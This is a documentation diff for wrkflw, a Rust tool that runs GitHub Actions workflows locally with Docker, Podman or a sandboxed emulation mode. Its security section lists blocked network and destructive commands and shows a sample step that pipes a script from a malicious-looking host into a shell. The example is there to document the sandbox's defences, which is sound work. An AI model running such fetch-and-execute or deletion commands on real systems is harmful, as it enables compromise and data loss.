-# Test Organization for wrkflw
-
-Following Rust best practices, we have reorganized the tests in this project to improve maintainability and clarity.
-
-## Test Structure
-
-Tests are now organized as follows:
-
-### 1. Unit Tests
-
-Unit tests remain in the source files using the `#[cfg(test)]` attribute. These tests are designed to test individual functions and small units of code in isolation.
-
-Example:
-```rust
-// In src/matrix.rs
-#[cfg(test)]
-mod tests {
-    use super::*;
-    
-    #[test]
-    fn test_function() {
-        // Test code here
-    }
-}
-```
-
-### 2. Integration Tests
-
-Integration tests have been moved to the `tests/` directory. These tests import and test the public API of the crate, ensuring that different components work together correctly.
-
-- `tests/matrix_test.rs` - Tests for matrix expansion functionality
-- `tests/reusable_workflow_test.rs` - Tests for reusable workflow validation
-
-### 3. End-to-End Tests
-
-End-to-end tests are also located in the `tests/` directory. These tests simulate real-world usage scenarios and often involve external dependencies like Docker.
-
-- `tests/cleanup_test.rs` - Tests for cleanup functionality with Docker containers, networks, etc.
-
-## Running Tests
-
-You can run all tests using:
-```bash
-cargo test
-```
-
-To run only unit tests:
-```bash
-cargo test --lib
-```
-
-To run only integration tests:
-```bash
-cargo test --test matrix_test --test reusable_workflow_test
-```
-
-To run only end-to-end tests:
-```bash
-cargo test --test cleanup_test
-```
-
-To run a specific test:
-```bash
-cargo test test_name
-```
-
-## CI Configuration
-
-Our CI workflow has been updated to run all types of tests separately, allowing for better isolation and clearer failure reporting:
-
-```yaml
-- name: Run unit tests
-  run: cargo test --lib --verbose
-
-- name: Run integration tests
-  run: cargo test --test matrix_test --test reusable_workflow_test --verbose
-
-- name: Run e2e tests (if Docker available)
-  run: cargo test --test cleanup_test --verbose -- --skip docker --skip processes
-```
-
-## Writing New Tests
-
-When adding new tests:
-
-1. For unit tests, add them to the relevant source file using `#[cfg(test)]`
-2. For integration tests, add them to the `tests/` directory with a descriptive name like `feature_name_test.rs`
-3. For end-to-end tests, also add them to the `tests/` directory with a descriptive name
-
-Follow the existing patterns to ensure consistency.

 ## Features
 
 - **TUI Interface**: A full-featured terminal user interface for managing and monitoring workflow executions
-- **Validate Workflow Files**: Check for syntax errors and common mistakes in GitHub Actions workflow files
-- **Execute Workflows Locally**: Run workflows directly on your machine using Docker containers
-- **Emulation Mode**: Optional execution without Docker by emulating the container environment locally
+- **Validate Workflow Files**: Check for syntax errors and common mistakes in GitHub Actions workflow files with proper exit codes for CI/CD integration
+- **Execute Workflows Locally**: Run workflows directly on your machine using Docker or Podman containers
+- **Multiple Container Runtimes**: Support for Docker, Podman, and emulation mode for maximum flexibility
 - **Job Dependency Resolution**: Automatically determines the correct execution order based on job dependencies
-- **Docker Integration**: Execute workflow steps in isolated Docker containers with proper environment setup
+- **Container Integration**: Execute workflow steps in isolated containers with proper environment setup
 - **GitHub Context**: Provides GitHub-like environment variables and workflow commands
-- **Multiple Runtime Modes**: Choose between Docker containers or local emulation for maximum flexibility
+- **Rootless Execution**: Podman support enables running containers without root privileges
 - **Action Support**: Supports various GitHub Actions types:
   - Docker container actions
   - JavaScript actions
   - Composite actions
   - Local actions
 - **Special Action Handling**: Native handling for commonly used actions like `actions/checkout`
+- **Reusable Workflows (Caller Jobs)**: Execute jobs that call reusable workflows via `jobs.<id>.uses` (local path or `owner/repo/path@ref`)
 - **Output Capturing**: View logs, step outputs, and execution details
 - **Parallel Job Execution**: Runs independent jobs in parallel for faster workflow execution
 - **Trigger Workflows Remotely**: Manually trigger workflow runs on GitHub or GitLab
 
+## Requirements
+
+### Container Runtime (Optional)
+
+WRKFLW supports multiple container runtimes for isolated execution:
+
+- **Docker**: The default container runtime. Install from [docker.com](https://docker.com)
+- **Podman**: A rootless container runtime. Perfect for environments where Docker isn't available or permitted. Install from [podman.io](https://podman.io)
+- **Emulation**: No container runtime required. Executes commands directly on the host system
+
+### Podman Support
+
+Podman is particularly useful in environments where:
+- Docker installation is not permitted by your organization
+- Root privileges are not available for Docker daemon
+- You prefer rootless container execution
+- Enhanced security through daemonless architecture is desired
+
+To use Podman:
+```bash
+# Install Podman (varies by OS)
+# On macOS with Homebrew:
+brew install podman
+
+# On Ubuntu/Debian:
+sudo apt-get install podman
+
+# Initialize Podman machine (macOS/Windows)
+podman machine init
+podman machine start
+
+# Use with wrkflw
+wrkflw run --runtime podman .github/workflows/ci.yml
+```

+#### Exit Codes for CI/CD Integration
+
+By default, `wrkflw validate` sets the exit code to `1` when validation fails, making it perfect for CI/CD pipelines and scripts:
+
+```bash
+# In CI/CD scripts - validation failure will cause the script to exit
+if ! wrkflw validate; then
+    echo "❌ Workflow validation failed!"
+    exit 1
+fi
+echo "✅ All workflows are valid!"
+
+# For custom error handling, disable exit codes
+wrkflw validate --no-exit-code
+if [ $? -eq 0 ]; then
+    echo "Validation completed (check output for details)"
+fi
+```
+
+**Exit Code Behavior:**
+- `0`: All validations passed successfully
+- `1`: One or more validation failures detected
+- `2`: Command usage error (invalid arguments, file not found, etc.)

 ### Container Cleanup
 
-WRKFLW automatically cleans up any Docker containers created during workflow execution, even if the process is interrupted with Ctrl+C.
+WRKFLW automatically cleans up any containers created during workflow execution (Docker/Podman), even if the process is interrupted with Ctrl+C.
+
+For debugging failed workflows, you can preserve containers that fail by using the `--preserve-containers-on-failure` flag:
+
+```bash
+# Preserve failed containers for debugging
+wrkflw run --preserve-containers-on-failure .github/workflows/build.yml
+
+# Also available in TUI mode
+wrkflw tui --preserve-containers-on-failure
+```
+
+When a container fails with this flag enabled, WRKFLW will:
+- Keep the failed container running instead of removing it
+- Log the container ID and provide inspection instructions
+- Show a message like: `Preserving container abc123 for debugging (exit code: 1). Use 'docker exec -it abc123 bash' to inspect.` (Docker)
+- Or: `Preserving container abc123 for debugging (exit code: 1). Use 'podman exec -it abc123 bash' to inspect.` (Podman)
+
+This allows you to inspect the exact state of the container when the failure occurred, examine files, check environment variables, and debug issues more effectively.
+
+### Podman-Specific Features
+
+When using Podman as the container runtime, you get additional benefits:
+
+**Rootless Operation:**
+```bash
+# Run workflows without root privileges
+wrkflw run --runtime podman .github/workflows/ci.yml
+```
+
+**Enhanced Security:**
+- Daemonless architecture reduces attack surface
+- User namespaces provide additional isolation
+- No privileged daemon required
+
+**Container Inspection:**
+```bash
+# List preserved containers
+podman ps -a --filter "name=wrkflw-"
+
+# Inspect a preserved container's filesystem (without executing)
+podman mount <container-id>
+
+# Or run a new container with the same volumes
+podman run --rm -it --volumes-from <failed-container> ubuntu:20.04 bash
+
+# Clean up all wrkflw containers
+podman ps -a --filter "name=wrkflw-" --format "{{.Names}}" | xargs podman rm -f
+```
+
+**Compatibility:**
+- Drop-in replacement for Docker workflows
+- Same CLI options and behavior
+- Identical container execution environment

 ### Limited or Unsupported Features (Explicit List)
 - ❌ GitHub secrets and permissions: Only basic environment variables are supported. GitHub's encrypted secrets and fine-grained permissions are NOT available.

 - ❌ GitHub-specific environment variables: Some advanced or dynamic environment variables (e.g., those set by GitHub runners or by the GitHub API) are emulated with static or best-effort values, but not all are fully functional.
 - ❌ Large/complex matrix builds: Very large matrices (hundreds or thousands of job combinations) may not be practical due to performance and resource limits.
-- ❌ Network-isolated actions: Actions that require strict network isolation or custom network configuration may not work out-of-the-box and may require manual Docker configuration.
+- ❌ Network-isolated actions: Actions that require strict network isolation or custom network configuration may not work out-of-the-box and may require manual container runtime configuration.

 - ❌ GitHub runner-specific features: Features that depend on the exact GitHub-hosted runner environment (e.g., pre-installed tools, runner labels, or hardware) are NOT guaranteed to match. Only a best-effort emulation is provided.
 - ❌ Windows and macOS runners: Only Linux-based runners are fully supported. Windows and macOS jobs are NOT supported.
-- ❌ Service containers: Service containers (e.g., databases defined in `services:`) are only supported in Docker mode. In emulation mode, they are NOT supported.
+- ❌ Service containers: Service containers (e.g., databases defined in `services:`) are only supported in Docker and Podman modes. In emulation mode, they are NOT supported.
 - ❌ Artifacts: Uploading and downloading artifacts between jobs/steps is NOT supported.
 - ❌ Job/step timeouts: Custom timeouts for jobs and steps are NOT enforced.
 - ❌ Job/step concurrency and cancellation: Features like `concurrency` and job cancellation are NOT supported.
 - ❌ Expressions and advanced YAML features: Most common expressions are supported, but some advanced or edge-case expressions may not be fully implemented.
+- ⚠️ Reusable workflows (limits):
+  - Outputs from called workflows are not propagated back to the caller (`needs.<id>.outputs.*` not supported)
+  - `secrets: inherit` is not special-cased; provide a mapping to pass secrets
+  - Remote calls clone public repos via HTTPS; private repos require preconfigured access (not yet implemented)
+  - Deeply nested reusable calls work but lack cycle detection beyond regular job dependency checks
+
+## Reusable Workflows
+
+WRKFLW supports executing reusable workflow caller jobs.
+
+### Syntax
+
+```yaml
+jobs:
+  call-local:
+    uses: ./.github/workflows/shared.yml
+
+  call-remote:
+    uses: my-org/my-repo/.github/workflows/shared.yml@v1
+    with:
+      foo: bar
+    secrets:
+      token: ${{ secrets.MY_TOKEN }}
+```
+
+### Behavior
+- Local references are resolved relative to the current working directory.
+- Remote references are shallow-cloned at the specified `@ref` into a temporary directory.
+- `with:` entries are exposed to the called workflow as environment variables `INPUT_<KEY>`.
+- `secrets:` mapping entries are exposed as environment variables `SECRET_<KEY>`.
+- The called workflow executes according to its own `jobs`/`needs`; a summary of its job results is reported as a single result for the caller job.
+
+### Current limitations
+- Outputs from called workflows are not surfaced back to the caller.
+- `secrets: inherit` is not supported; specify an explicit mapping.
+- Private repositories for remote `uses:` are not yet supported.
 
 ### Runtime Mode Differences
 - **Docker Mode**: Provides the closest match to GitHub's environment, including support for Docker container actions, service containers, and Linux-based jobs. Some advanced container configurations may still require manual setup.
-- **Emulation Mode**: Runs workflows using the local system tools. Limitations:
+- **Podman Mode**: Similar to Docker mode but uses Podman for container execution. Offers rootless container support and enhanced security. Fully compatible with Docker-based workflows.
+- **🔒 Secure Emulation Mode**: Runs workflows on the local system with comprehensive sandboxing for security. **Recommended for local development**:
+  - Command validation and filtering (blocks dangerous commands like `rm -rf /`, `sudo`, etc.)
+  - Resource limits (CPU, memory, execution time)
+  - Filesystem access controls
+  - Process monitoring and limits
+  - Safe for running untrusted workflows locally
+- **⚠️ Emulation Mode (Legacy)**: Runs workflows using local system tools without sandboxing. **Not recommended - use Secure Emulation instead**:
   - Only supports local and JavaScript actions (no Docker container actions)
   - No support for service containers
   - No caching support
+  - **No security protections - can execute harmful commands**
   - Some actions may require adaptation to work locally
-  - Special action handling is more limited
 
 ### Best Practices
-- Test workflows in both Docker and emulation modes to ensure compatibility
+- **Use Secure Emulation mode for local development** - provides safety without container overhead
+- Test workflows in multiple runtime modes to ensure compatibility
+- **Use Docker/Podman mode for production** - provides maximum isolation and reproducibility
 - Keep matrix builds reasonably sized for better performance
 - Use environment variables instead of GitHub secrets when possible
 - Consider using local actions for complex custom functionality
-- Test network-dependent actions carefully in both modes
+- **Review security warnings** - pay attention to blocked commands in secure emulation mode
+- **Start with secure mode** - only fall back to legacy emulation if necessary

+
+## Build Instructions
+
+To build the entire project:
+
+```bash
+cargo build
+```
+
+To build a specific crate:
+
+```bash
+cargo build -p <crate-name>
+```
+
+## Testing
+
+To run tests for the entire project:
+
+```bash
+cargo test
+```
+
+To run tests for a specific crate:
+
+```bash
+cargo test -p <crate-name>
+```
+
+## Rust Best Practices
+
+When contributing to wrkflw, please follow these Rust best practices:
+
+### Code Organization
+
+- Place modules in their respective crates to maintain separation of concerns
+- Use `pub` selectively to expose only the necessary APIs
+- Follow the Rust module system conventions (use `mod` and `pub mod` appropriately)
+
+### Errors and Error Handling
+
+- Prefer using the `thiserror` crate for defining custom error types
+- Use the `?` operator for error propagation instead of match statements when appropriate
+- Implement custom error types that provide context for the error
+- Avoid using `.unwrap()` and `.expect()` in production code
+
+### Performance
+
+- Profile code before optimizing using tools like `cargo flamegraph`
+- Use `Arc` and `Mutex` judiciously for shared mutable state
+- Leverage Rust's zero-cost abstractions (iterators, closures)
+- Consider adding benchmark tests using the `criterion` crate for performance-critical code
+
+### Security
+
+- Validate all input, especially from external sources
+- Avoid using `unsafe` code unless absolutely necessary
+- Handle secrets securely using environment variables
+- Check for integer overflows with `checked_` operations
+
+### Testing
+
+- Write unit tests for all public functions
+- Use integration tests to verify crate-to-crate interactions
+- Consider property-based testing for complex logic
+- Structure tests with clear preparation, execution, and verification phases
+
+### Tooling
+
+- Run `cargo clippy` before committing changes to catch common mistakes
+- Use `cargo fmt` to maintain consistent code formatting
+- Enable compiler warnings with `#![warn(clippy::all)]`
+
+For more detailed guidance, refer to the project's best practices documentation.

+## wrkflw-evaluator
+
+Small, focused helper for statically evaluating GitHub Actions workflow files.
+
+- **Purpose**: Fast structural checks (e.g., `name`, `on`, `jobs`) before deeper validation/execution
+- **Used by**: `wrkflw` CLI and TUI during validation flows
+
+### Example
+
+```rust
+use std::path::Path;
+
+let result = wrkflw_evaluator::evaluate_workflow_file(
+    Path::new(".github/workflows/ci.yml"),
+    /* verbose */ true,
+).expect("evaluation failed");
+
+if result.is_valid {
+    println!("Workflow looks structurally sound");
+} else {
+    for issue in result.issues {
+        println!("- {}", issue);
+    }
+}
+```
+
+### Notes
+- This crate focuses on structural checks; deeper rules live in `wrkflw-validators`.
+- Most consumers should prefer the top-level `wrkflw` CLI for end-to-end UX.

+# Security Features in wrkflw Runtime
+
+This document describes the security features implemented in the wrkflw runtime, particularly the sandboxing capabilities for emulation mode.
+
+## Overview
+
+The wrkflw runtime provides multiple execution modes with varying levels of security:
+
+1. **Docker Mode** - Uses Docker containers for isolation (recommended for production)
+2. **Podman Mode** - Uses Podman containers for isolation with rootless support
+3. **Secure Emulation Mode** - 🔒 **NEW**: Sandboxed execution on the host system
+4. **Emulation Mode** - ⚠️ **UNSAFE**: Direct execution on the host system (deprecated)
+
+## Security Modes
+
+### 🔒 Secure Emulation Mode (Recommended for Local Development)
+
+The secure emulation mode provides comprehensive sandboxing to protect your system from potentially harmful commands while still allowing legitimate workflow operations.
+
+#### Features
+
+- **Command Validation**: Blocks dangerous commands like `rm -rf /`, `dd`, `sudo`, etc.
+- **Pattern Detection**: Uses regex patterns to detect dangerous command combinations
+- **Resource Limits**: Enforces CPU, memory, and execution time limits
+- **Filesystem Isolation**: Restricts file access to allowed paths only
+- **Environment Sanitization**: Filters dangerous environment variables
+- **Process Monitoring**: Tracks and limits spawned processes
+
+#### Usage
+
+```bash
+# Use secure emulation mode (recommended)
+wrkflw run --runtime secure-emulation .github/workflows/build.yml
+
+# Or via TUI
+wrkflw tui --runtime secure-emulation
+```
+
+#### Command Whitelist/Blacklist
+
+**Allowed Commands (Safe):**
+- Basic utilities: `echo`, `cat`, `ls`, `grep`, `sed`, `awk`
+- Development tools: `cargo`, `npm`, `python`, `git`, `node`
+- Build tools: `make`, `cmake`, `javac`, `dotnet`
+
+**Blocked Commands (Dangerous):**
+- System modification: `rm`, `dd`, `mkfs`, `mount`, `sudo`
+- Network tools: `wget`, `curl`, `ssh`, `nc`
+- Process control: `kill`, `killall`, `systemctl`
+
+#### Resource Limits
+
+```rust
+// Default configuration
+SandboxConfig {
+    max_execution_time: Duration::from_secs(300),  // 5 minutes
+    max_memory_mb: 512,                            // 512 MB
+    max_cpu_percent: 80,                           // 80% CPU
+    max_processes: 10,                             // Max 10 processes
+    allow_network: false,                          // No network access
+    strict_mode: true,                             // Whitelist-only mode
+}
+```
+
+### ⚠️ Legacy Emulation Mode (Unsafe)
+
+The original emulation mode executes commands directly on the host system without any sandboxing. **This mode will be deprecated and should only be used for trusted workflows.**
+
+```bash
+# Legacy unsafe mode (not recommended)
+wrkflw run --runtime emulation .github/workflows/build.yml
+```
+
+## Example: Blocked vs Allowed Commands
+
+### ❌ Blocked Commands
+
+```yaml
+# This workflow will be blocked in secure emulation mode
+steps:
+  - name: Dangerous command
+    run: rm -rf /tmp/*  # BLOCKED: Dangerous file deletion
+
+  - name: System modification
+    run: sudo apt-get install package  # BLOCKED: sudo usage
+
+  - name: Network access
+    run: wget https://malicious-site.com/script.sh | sh  # BLOCKED: wget + shell execution
+```
+
+### ✅ Allowed Commands
+
+```yaml
+# This workflow will run successfully in secure emulation mode
+steps:
+  - name: Build project
+    run: cargo build --release  # ALLOWED: Development tool
+
+  - name: Run tests
+    run: cargo test  # ALLOWED: Testing
+
+  - name: List files
+    run: ls -la target/  # ALLOWED: Safe file listing
+
+  - name: Format code
+    run: cargo fmt --check  # ALLOWED: Code formatting
+```
+
+## Security Warnings and Messages
+
+When dangerous commands are detected, wrkflw provides clear security messages:
+
+```
+🚫 SECURITY BLOCK: Command 'rm' is not allowed in secure emulation mode.
+This command was blocked for security reasons.
+If you need to run this command, please use Docker or Podman mode instead.
+```
+
+```
+🚫 SECURITY BLOCK: Dangerous command pattern detected: 'rm -rf /'.
+This command was blocked because it matches a known dangerous pattern.
+Please review your workflow for potentially harmful commands.
+```
+
+## Configuration Examples
+
+### Workflow-Friendly Configuration
+
+```rust
+use wrkflw_runtime::sandbox::create_workflow_sandbox_config;
+
+let config = create_workflow_sandbox_config();
+// - Allows network access for package downloads
+// - Higher resource limits for CI/CD workloads
+// - Less strict mode for development flexibility
+```
+
+### Strict Security Configuration
+
+```rust
+use wrkflw_runtime::sandbox::create_strict_sandbox_config;
+
+let config = create_strict_sandbox_config();
+// - No network access
+// - Very limited command set
+// - Low resource limits
+// - Strict whitelist-only mode
+```
+
+### Custom Configuration
+
+```rust
+use wrkflw_runtime::sandbox::{SandboxConfig, Sandbox};
+use std::collections::HashSet;
+use std::path::PathBuf;
+
+let mut config = SandboxConfig::default();
+
+// Custom allowed commands
+config.allowed_commands = ["echo", "ls", "cargo"]
+    .iter()
+    .map(|s| s.to_string())
+    .collect();
+
+// Custom resource limits
+config.max_execution_time = Duration::from_secs(60);
+config.max_memory_mb = 256;
+
+// Custom allowed paths
+config.allowed_write_paths.insert(PathBuf::from("./target"));
+config.allowed_read_paths.insert(PathBuf::from("./src"));
+
+let sandbox = Sandbox::new(config)?;
+```
+
+## Migration Guide
+
+### From Unsafe Emulation to Secure Emulation
+
+1. **Change Runtime Flag**:
+   ```bash
+   # Old (unsafe)
+   wrkflw run --runtime emulation workflow.yml
+   
+   # New (secure)
+   wrkflw run --runtime secure-emulation workflow.yml
+   ```
+
+2. **Review Workflow Commands**: Check for any commands that might be blocked and adjust if necessary.
+
+3. **Handle Security Blocks**: If legitimate commands are blocked, consider:
+   - Using Docker/Podman mode for those specific workflows
+   - Modifying the workflow to use allowed alternatives
+   - Creating a custom sandbox configuration
+
+### When to Use Each Mode
+
+| Use Case | Recommended Mode | Reason |
+|----------|------------------|---------|
+| Local development | Secure Emulation | Good balance of security and convenience |
+| Untrusted workflows | Docker/Podman | Maximum isolation |
+| CI/CD pipelines | Docker/Podman | Consistent, reproducible environment |
+| Testing workflows | Secure Emulation | Fast execution with safety |
+| Trusted internal workflows | Secure Emulation | Sufficient security for known-safe code |
+
+## Troubleshooting
+
+### Command Blocked Error
+
+If you encounter a security block:
+
+1. **Check if the command is necessary**: Can you achieve the same result with an allowed command?
+2. **Use container mode**: Switch to Docker or Podman mode for unrestricted execution
+3. **Modify the workflow**: Use safer alternatives where possible
+
+### Resource Limit Exceeded
+
+If your workflow hits resource limits:
+
+1. **Optimize the workflow**: Reduce resource usage where possible
+2. **Use custom configuration**: Increase limits for specific use cases
+3. **Use container mode**: For resource-intensive workflows
+
+### Path Access Denied
+
+If file access is denied:
+
+1. **Check allowed paths**: Ensure your workflow only accesses permitted directories
+2. **Use relative paths**: Work within the project directory
+3. **Use container mode**: For workflows requiring system-wide file access
+
+## Best Practices
+
+1. **Default to Secure Mode**: Use secure emulation mode by default for local development
+2. **Test Workflows**: Always test workflows in secure mode before deploying
+3. **Review Security Messages**: Pay attention to security blocks and warnings
+4. **Use Containers for Production**: Use Docker/Podman for production deployments
+5. **Regular Updates**: Keep wrkflw updated for the latest security improvements
+
+## Security Considerations
+
+- Secure emulation mode is designed to prevent **accidental** harmful commands, not to stop **determined** attackers
+- For maximum security with untrusted code, always use container modes
+- The sandbox is most effective against script errors and typos that could damage your system
+- Always review workflows from untrusted sources before execution
+
+## Contributing Security Improvements
+
+If you find security issues or have suggestions for improvements:
+
+1. **Report Security Issues**: Use responsible disclosure for security vulnerabilities
+2. **Suggest Command Patterns**: Help improve dangerous pattern detection
+3. **Test Edge Cases**: Help us identify bypass techniques
+4. **Documentation**: Improve security documentation and examples

+## wrkflw-ui
+
+Terminal user interface for browsing workflows, running them, and viewing logs.
+
+- Tabs: Workflows, Execution, Logs, Help
+- Hotkeys: `1-4`, `Tab`, `Enter`, `r`, `R`, `t`, `v`, `e`, `q`, etc.
+- Integrates with `wrkflw-executor` and `wrkflw-logging`
+
+### Example
+
+```rust
+use std::path::PathBuf;
+use wrkflw_executor::RuntimeType;
+use wrkflw_ui::run_wrkflw_tui;
+
+# tokio_test::block_on(async {
+let path = PathBuf::from(".github/workflows");
+run_wrkflw_tui(Some(&path), RuntimeType::Docker, true, false).await?;
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+Most users should run the `wrkflw` binary and select TUI mode: `wrkflw tui`.

+## WRKFLW (CLI and Library)
+
+This crate provides the `wrkflw` command-line interface and a thin library surface that ties together all WRKFLW subcrates. It lets you validate and execute GitHub Actions workflows and GitLab CI pipelines locally, with a built-in TUI for an interactive experience.
+
+- **Validate**: Lints structure and common mistakes in workflow/pipeline files
+- **Run**: Executes jobs locally using Docker, Podman, or emulation (no containers)
+- **TUI**: Interactive terminal UI for browsing workflows, running, and viewing logs
+- **Trigger**: Manually trigger remote runs on GitHub/GitLab
+
+### Installation
+
+```bash
+cargo install wrkflw
+```
+
+### Quick start
+
+```bash
+# Launch the TUI (auto-loads .github/workflows)
+wrkflw
+
+# Validate all workflows in the default directory
+wrkflw validate
+
+# Validate a specific file or directory
+wrkflw validate .github/workflows/ci.yml
+wrkflw validate path/to/workflows
+
+# Validate multiple files and/or directories
+wrkflw validate path/to/flow-1.yml path/to/flow-2.yml path/to/workflows
+
+# Run a workflow (Docker by default)
+wrkflw run .github/workflows/ci.yml
+
+# Use Podman or emulation instead of Docker
+wrkflw run --runtime podman .github/workflows/ci.yml
+wrkflw run --runtime emulation .github/workflows/ci.yml
+
+# Open the TUI explicitly
+wrkflw tui
+wrkflw tui --runtime podman
+```
+
+### Commands
+
+- **validate**: Validate workflow/pipeline files and/or directories
+  - GitHub (default): `.github/workflows/*.yml`
+  - GitLab: `.gitlab-ci.yml` or files ending with `gitlab-ci.yml`
+  - Accepts multiple paths in a single invocation
+  - Exit code behavior (by default): `1` when any validation failure is detected
+  - Flags: `--gitlab`, `--exit-code`, `--no-exit-code`, `--verbose`
+
+- **run**: Execute a workflow or pipeline locally
+  - Runtimes: `docker` (default), `podman`, `emulation`
+  - Flags: `--runtime`, `--preserve-containers-on-failure`, `--gitlab`, `--verbose`
+
+- **tui**: Interactive terminal interface
+  - Browse workflows, execute, and inspect logs and job details
+
+- **trigger**: Trigger a GitHub workflow (requires `GITHUB_TOKEN`)
+- **trigger-gitlab**: Trigger a GitLab pipeline (requires `GITLAB_TOKEN`)
+- **list**: Show detected workflows and pipelines in the repo
+
+### Environment variables
+
+- **GITHUB_TOKEN**: Required for `trigger` when calling GitHub
+- **GITLAB_TOKEN**: Required for `trigger-gitlab` (api scope)
+
+### Exit codes
+
+- `validate`: `0` if all pass; `1` if any fail (unless `--no-exit-code`)
+- `run`: `0` on success, `1` if execution fails
+
+### Library usage
+
+This crate re-exports subcrates for convenience if you want to embed functionality:
+
+```rust
+use std::path::Path;
+use wrkflw::executor::{execute_workflow, ExecutionConfig, RuntimeType};
+
+# tokio_test::block_on(async {
+let cfg = ExecutionConfig {
+    runtime_type: RuntimeType::Docker,
+    verbose: true,
+    preserve_containers_on_failure: false,
+};
+let result = execute_workflow(Path::new(".github/workflows/ci.yml"), cfg).await?;
+println!("status: {:?}", result.summary_status);
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+You can also run the TUI programmatically:
+
+```rust
+use std::path::PathBuf;
+use wrkflw::executor::RuntimeType;
+use wrkflw::ui::run_wrkflw_tui;
+
+# tokio_test::block_on(async {
+let path = PathBuf::from(".github/workflows");
+run_wrkflw_tui(Some(&path), RuntimeType::Docker, true, false).await?;
+# Ok::<_, Box<dyn std::error::Error>>(())
+# })?;
+```
+
+### Notes
+
+- See the repository root README for feature details, limitations, and a full walkthrough.
+- Service containers and advanced Actions features are best supported in Docker/Podman modes.
+- Emulation mode skips containerized steps and runs commands on the host.
